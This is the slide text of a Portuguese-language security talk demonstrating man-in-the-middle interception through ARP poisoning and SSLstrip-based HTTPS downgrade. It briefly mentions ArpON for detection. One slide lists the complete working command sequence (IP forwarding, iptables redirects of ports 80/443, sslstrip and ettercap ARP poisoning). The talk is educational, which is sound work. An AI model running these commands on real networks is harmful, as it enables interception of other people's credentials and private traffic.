A palestra discute técnicas de "Man in the middle" e "SSL Hijacking" que podem comprometer informações pessoais em redes inseguras. O palestrante demonstra como o ataque funciona usando ferramentas como SSLstrip e Ettercap e como redirecionar tráfego HTTPS para HTTP de forma a interceptar comunicações. Ele também mostra como detectar e evitar esse tipo de ataque.

1. ig.com.br
$whoami
Bruno Rocha da Silva
Administrador de Sistemas no iG (ig.com.br)
More...: http://about.me/brunorochadasilva :-)

2. Objetivo
O objetivo principal desta palestra, é
demonstrar como um simples ataque “Man in
the middle” associado á técnicas de “SSL
Hijacking”, podem comprometer informações
pessoais em uma rede mal configurada e/ou
insegura.
ig.com.br

3. Importante
A palestra não tem como objetivo fazer
apologia a invasão de privacidade digital.
As técnicas aqui presentes devem ser utilizadas
apenas para fins éticos.
ig.com.br

4. ig.com.br
Conceitos Iniciais

5. HTTPS
Hyper Text Transfer Protocol Secure;
Implementação do protocolo HTTP para
suportar o protocolo SSL ou TLS;
Utiliza criptografia assimétrica, simétrica e
certificado digital;
Utiliza como padrão a porta 443.
ig.com.br

6. HTTPS
ig.com.br

7. ig.com.br
O Problema

8. ig.com.br
Grande parte das pessoas utilizam HTTPS em
duas ocasiões:
● Clicando em links;
● Através de redirects (301/302).

9. Ou seja!
Grande parte das pessoas encontram uma
conexão HTTPS via conexão HTTP.
ig.com.br

10. ig.com.br
Continuando...

11. Man in the middle
Técnica utilizada para interceptar, registrar e
possívelmente alterar a comunicação entre
duas partes;
Não perceptiva entre as partes, o que garante a
“confidencialidade” da comunicação;
ARP Poisoning, DNS Spoofing, Session Hijacking
e SSL Hijacking, são algumas formas de
realizar esse tipo de ataque.
ig.com.br

12. ARP
Adress Resolution Protocol;
Responsável por identificar um determinado
Mac Adress, de um determinado endereço IP na
rede;
A identificação inicial funciona via broadcast,
logo depois, o mesmo é armazenado em cache;
Não há controle de identificação;
O primeiro que responder “ganha”.
ig.com.br

13. ig.com.br
A ovelha negra da famíliaTCP/IP

14. ARP Poisoning
ARP Poisoning ou ARP Spoofing, consiste em
“envenar” ou “enganar” a tabela CAM do
Switch ou a tabela de roteamento do
Roteador, através de respostas ARP falsas.
Todos os dispositivos conectados na rede,
que solicitarem o endereço MAC de
determinado IP, passam a receber o
endereço MAC do atacante.
ig.com.br

15. ig.com.br
A suíte Man in the middle

16. Ettercap
● Criado originalmente por Alberto Ornaghi e
Marco Valleri;
● A idéia inicial era ser um simples Sniffer;
● Hoje é uma suíte completa para ataques Man in
the middle;
● Utilizado também em outros tipos de ataques,
como DDOS e Mac Flooding;
● Built-in no Backtrack.
ig.com.br

17. ig.com.br
SSL Hijacking

18. Recapitulando
Normalmente grande parte das pessoas
utilizam HTTPS em duas ocasiões:
● Clicando em links;
● Através de redirects (301/302).
ig.com.br

19. SSLstrip
Foi pensando nisso que o
SSLstrip foi desenvolvido!
ig.com.br

20. SSLstrip
Criado e apresentando por Moxie Marlinspike na
BlackHat de 2009 (mesmo criador do SSLsniff);
Utiliza técnicas de SSL Hijacking para burlar
novas sessões;
A comunicação entre a vítima e o atacante
ocorre via HTTP, já a comunicação entre
atacante e servidor, ocorre via HTTPS.
ig.com.br

21. Requisitos para o ataque
Estar conectado na mesma rede que a “vítima”;
Estar com o forward de pacotes a nível de
Kernel habilitado;
Direcionar todo o tráfego da porta 80 e 443
para a porta do SSLstrip (default 10.000);
Estar com o Man in the middle via ARP
Poisoning ativo;
Estar com o SSLstrip ativo.
ig.com.br

22. DEMO
ig.com.br

23. Comandos utilizados
# sysctl -w net.ipv4.ip_forward=1
# iptables -t nat -A PREROUTING -p tcp --dport 80
-j REDIRECT --to-port 10000
# iptables -t nat -A PREROUTING -p tcp --dport 443
-j REDIRECT --to-port 10000
#cd /pentest/web/sslstrip
#./sslstrip -a -f -k -s -l 10000
# ettercap -TqM arp -P reply_arp // //
ig.com.br

24. ig.com.br

25. ig.com.br

26. ig.com.br

27. E quando se “chama” o HTTPS direto?
ig.com.br

28. ig.com.br

29. DEMO
ig.com.br

30. Detectando e evitando o Ataque
ig.com.br
ArpON - Arp handler inspectiON
http://arpon.sourceforge.net

31. Referências
● Ettercap Project
http://ettercap.github.io/ettercap/index.html
● SSLstrip Project
https://github.com/moxie0/sslstrip
● Site do Moxie Marlinspike
http://www.thoughtcrime.org
ig.com.br

32. Contato
E-mail - brunorochadasilva@ig.com.br
Twitter - @brunordasilva
Slideshare – brunorochasbr (nick provisório)
Linkedin -
br.linkedin.com/in/brunorochadasilva/
ig.com.br

33. Perguntas?
ig.com.br